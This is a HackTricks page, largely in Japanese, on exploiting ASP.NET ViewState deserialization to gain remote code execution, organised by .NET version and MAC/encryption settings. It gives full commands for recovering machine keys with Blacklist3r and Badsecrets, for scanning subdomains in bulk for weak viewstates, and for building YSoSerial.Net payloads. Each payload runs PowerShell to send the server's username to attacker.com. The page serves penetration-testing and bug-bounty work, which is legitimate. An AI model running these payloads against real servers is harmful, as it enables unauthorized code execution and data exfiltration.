Exploiting __VIEWSTATE without knowing the secrets

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

What is ViewState

ViewState は、ASP.NET におけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページの HTML をレンダリングする際、ページの現在の状態とポストバック中に保持される値が base64 エンコードされた文字列にシリアライズされます。これらの文字列は、隠し ViewState フィールドに配置されます。

ViewState 情報は、以下のプロパティまたはその組み合わせによって特徴付けられます:

  • Base64:

  • EnableViewStateMacViewStateEncryptionMode 属性が両方とも false に設定されている場合に使用される形式です。

  • Base64 + MAC (メッセージ認証コード) 有効:

  • MAC の有効化は、EnableViewStateMac 属性を true に設定することで達成されます。これにより、ViewState データの整合性検証が提供されます。

  • Base64 + 暗号化:

  • ViewStateEncryptionMode 属性が true に設定されている場合に暗号化が適用され、ViewState データの機密性が確保されます。

Test Cases

この画像は、.NET フレームワークのバージョンに基づく ASP.NET の ViewState の異なる構成を詳細に示した表です。内容の概要は以下の通りです:

  1. 任意の .NET バージョンの場合、MAC と暗号化が無効な場合、MachineKey は必要なく、したがってそれを特定する適用可能な方法はありません。

  2. 4.5 未満のバージョンの場合、MAC が有効で暗号化が無効な場合、MachineKey が必要です。MachineKey を特定する方法は「Blacklist3r」と呼ばれます。

  3. 4.5 未満のバージョンの場合、MAC が有効か無効かにかかわらず、暗号化が有効な場合、MachineKey が必要です。MachineKey を特定するのは「Blacklist3r - Future Development」のタスクです。

  4. 4.5 以上のバージョンの場合、MAC と暗号化のすべての組み合わせ(両方が true であるか、一方が true で他方が false であるか)は、MachineKey を必要とします。MachineKey は「Blacklist3r」を使用して特定できます。

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

AspNetEnforceViewStateMac レジストリキーをゼロに設定することで、ViewStateMAC を完全に無効にすることも可能です:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState属性の特定

BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定できます。Macがパラメータを保護するために使用されていない場合、YSoSerial.Netを使用してこれを悪用できます。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – テストケース1と同様ですが、ViewStateクッキーはサーバーによって送信されません

開発者はViewStateをHTTPリクエストの一部として送信しないように削除することができます(ユーザーはこのクッキーを受け取りません)。 ViewState存在しない場合、その実装はViewStateのデシリアライズに起因する潜在的な脆弱性から安全であると考えるかもしれません。 しかし、それは事実ではありません。リクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、ケース1に示されているようにコード実行を達成することができます。

Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false

特定のページに対してViewState MAC有効にするためには、特定のaspxファイルに以下の変更を加える必要があります:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

全体のアプリケーションについても、以下に示すようにweb.configファイルに設定することで実行できます:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

パラメータはMACで保護されているため、攻撃を成功させるにはまず使用されているキーが必要です。

使用されているキーを見つけるためにBlacklist3r(AspDotNetWrapper.exe) を試すことができます。

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets は、既知の machineKeys を特定できる別のツールです。Python で書かれているため、Blacklist3r とは異なり、Windows の依存関係はありません。.NET viewstates 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。

viewstate と generator を直接提供することもできます:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

脆弱な viewstate を大規模に検索するために、サブドメイン列挙と組み合わせて、badsecrets BBOT モジュールを使用できます:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

運が良ければ、キーが見つかり、YSoSerial.Netを使用して攻撃を進めることができます:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

サーバーによって_VIEWSTATEGENERATORパラメータが送信されない場合、--generatorパラメータを提供する必要はありませんが、これらのパラメータは必要です:

--apppath="/" --path="/hello.aspx"

テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true

この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、脆弱性を悪用するためにペイロードを暗号化するためのマシンキーが必要です

この場合、 Blacklist3r モジュールは開発中です...

.NET 4.5以前では、 ASP.NETは**ViewStateEncryptionModeが_常に_に設定されていても、ユーザーからの暗号化されていない**___VIEWSTATE_パラメータを受け入れることができます。ASP.NETは**__VIEWSTATEENCRYPTEDパラメータの存在のみを確認します**。このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。

したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、ケース2で使用されたYSoSerial.Netコマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。

  • ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから__VIEWSTATEENCRYPTEDパラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。

テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合

以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。

<httpRuntime targetFramework="4.5" />

代わりに、これはweb.configファイルのmachineKeyパラメータ内に以下のオプションを指定することで行うことができます。

compatibilityMode="Framework45"

前述のように、値は暗号化されています。 そのため、有効なペイロードを送信するには攻撃者がキーを必要とします。

Blacklist3r(AspDotNetWrapper.exe) を使用して、使用されているキーを見つけることができます:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPathとTargetPagePathの詳細な説明については、こちらを参照してください

または、Badsecrets(ジェネレーター値付き)を使用して:

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

有効なMachine keyが特定されると、次のステップは YSoSerial.Net を使用してシリアライズされたペイロードを生成することです。

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

__VIEWSTATEGENERATORの値がある場合、その値を使って--generatorパラメータを使用し、--pathおよび--apppathパラメータを省略することができます。

ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの仕組みや、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法についての詳細は、提供された成功した悪用のPoCを確認してください。

テストケース 6 – ViewStateUserKeysが使用されている

ViewStateUserKeyプロパティは、CSRF攻撃に対して防御するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法でViewStateペイロードを生成しようとすると、ペイロードはアプリケーションによって処理されません。 ペイロードを正しく作成するためには、もう1つのパラメータを使用する必要があります:

--viewstateuserkey="randomstringdefinedintheserver"

成功した悪用の結果

すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが成功した場合、サーバーは「500 Internal server error」で応答し、応答内容は「このページの状態情報は無効であり、破損している可能性があります」となり、OOB リクエストを受け取ります。

こちらでさらに情報を確認してください

参考文献

バグバウンティのヒント: Intigritiサインアップしてください。これはハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォームです!今日、https://go.intigriti.com/hacktricksに参加し、最大**$100,000**のバウンティを獲得し始めましょう!

HackTricksをサポートする

Last updated